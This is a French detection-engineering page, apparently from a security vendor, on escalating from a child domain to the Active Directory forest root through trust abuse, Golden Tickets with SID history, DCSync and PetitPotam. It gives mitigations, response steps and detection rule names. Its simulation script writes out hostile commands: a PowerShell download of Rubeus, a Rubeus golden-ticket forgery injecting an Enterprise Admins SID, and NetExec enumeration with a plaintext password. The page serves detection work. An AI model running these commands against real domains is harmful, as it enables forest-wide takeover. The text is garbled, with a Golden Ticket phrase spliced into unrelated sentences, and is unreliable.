Abus des activités de confiance dans la forêt Active Directory et escalade du niveau enfant à racine
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Ce guide technique montre comment un attaquant avec des privilèges de Domain Admin dans un domaine enfant peut escalader vers le contrôle administratif de la Forest Root. L’attaque abuse des trusts bidirectionnels intra-forêt et du filtrage SID permissif pour injecter des SIDs d’Enterprise Admins dans des tickets Kerberos forgés. Il explique également comment des méthodes de coercition telles que PetitPotam peuvent être utilisées pour capturer des tickets de compte machine et permettre des attaques DCSync.
Enquête
Le rapport décrit un engagement basé sur un labo dans lequel l’attaquant commence dans le pentest.ignite.local domaine enfant. Le flux de travail inclut l’énumération des trusts de la forêt, l’extraction du hash krbtgt, la création d'un Golden Ticket avec l'historique SID et l'exécution d'une attaque DCSync contre le parent hash, forging a Golden Ticket with SID History, and executing a DCSync attack against the parent ignite.local domaine. Un chemin d’escalade secondaire utilisant la technique de coercition PetitPotam est également démontré.
Atténuation
Les atténuations recommandées incluent le traitement de tous les contrôleurs de domaine comme des actifs de niveau zéro et la rotation du hash krbtgt, la création d'un Golden Ticket avec l'historique SID et l'exécution d'une attaque DCSync contre le parent mot de passe deux fois régulièrement dans toute la forêt. Les organisations doivent appliquer le filtrage SID sur les trusts, désactiver la délégation non restreinte et désactiver le service Spouleur d’impression sur les contrôleurs de domaine. Des étapes de durcissement supplémentaires incluent l’utilisation du groupe Utilisateurs Protégés pour la protection Kerberos et la surveillance de l’activité de réplication DRSUAPI anormale.
Réponse
Si une activité DCSync ou une utilisation non autorisée de tickets Kerberos est détectée, les intervenants doivent immédiatement isoler les contrôleurs de domaine affectés et commencer un double hash krbtgt, la création d'un Golden Ticket avec l'historique SID et l'exécution d'une attaque DCSync contre le parent changement de mot de passe. Tous les comptes avec des privilèges d’Enterprise Admin doivent être étudiés, et l’environnement doit être vérifié pour des outils tels que Rubeus ou PetitPotam. Les journaux d’authentification doivent également être analysés pour détecter les comportements inhabituels des comptes machines et les événements potentiellement liés à la coercition.
Flux d’Attaque
Détections
Utilisation Probable de Hacktools Windows [Partie3] (via file_event)
Voir
Détection d’Abus de Trust dans Active Directory Forest [Journal d’Évènements de Sécurité Windows]
Voir
Abus de Trust Active Directory Forest : Escalade du Domaine Enfant vers la Racine [Création de Processus Windows]
Voir
Exécution de Simulation
Prérequis : Le contrôle préalable de la Télémétrie & du Baseline doit avoir réussi.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront une mauvaise interprétation.
-
Récit et Commandes de l’Attaque : L’adversaire a pris pied dans un domaine enfant (
pentest.ignite.local). Pour escalader vers la racine de la forêt, il utilise d’abordnxc(NetExec) pour lister les contrôleurs de domaine via LDAP pour cartographier l’environnement cible. Ensuite, il utilisepowershellpour téléchargerRubeus.exedepuis un serveur distant contrôlé par l’attaquant. Enfin, il exécuteRubeus.exepour forger un Golden Ticket. Le ticket forgé contient le SID du domaine racine de la forêt (S-1-5-21-2964257136-1039789743-457275023) pour permettre à l’adversaire de se faire passer pour un administrateur de la forêt lors des interactions avec le domaine racine. -
Script de Test de Régression :
# Simulation de l'Abus de Trust de la Forêt pour déclencher la règle Sigma spécifique # 1. Simuler l'Énumération LDAP avec NetExec # Note : Nous appelons 'nxc' via une exécution factice pour imiter la signature de la ligne de commande Start-Process "cmd.exe" -ArgumentList "/c nxc ldap -u raaz -p Password@2 --dc-list" -NoNewWindow # 2. Simuler le Téléchargement de Rubeus via PowerShell # Cela correspond exactement à la chaîne : 'powershell wget http://Rubeus.exe -o Rubeus.exe' Start-Process "powershell.exe" -ArgumentList "wget http://Rubeus.exe -o Rubeus.exe" -NoNewWindow # 3. Simuler la Forgery de Golden Ticket avec Rubeus # Cela correspond exactement à la chaîne complexe requise par la règle de détection $rubeusCmd = "Rubeus.exe golden /rc4: /user:administrator /domain:pentest.ignite.local /sid:S-1-5-21-3430543386-541733547-1396883976 /sids:S-1-5-21-2964257136-1039789743-457275023-519 /outfile:ticket" Start-Process "cmd.exe" -ArgumentList "/c $rubeusCmd" -NoNewWindow -
Commandes de Nettoyage :
# Supprimer le fichier Rubeus téléchargé et tous les artefacts factices Remove-Item -Path "Rubeus.exe" -ErrorAction SilentlyContinue Remove-Item -Path "ticket" -ErrorAction SilentlyContinue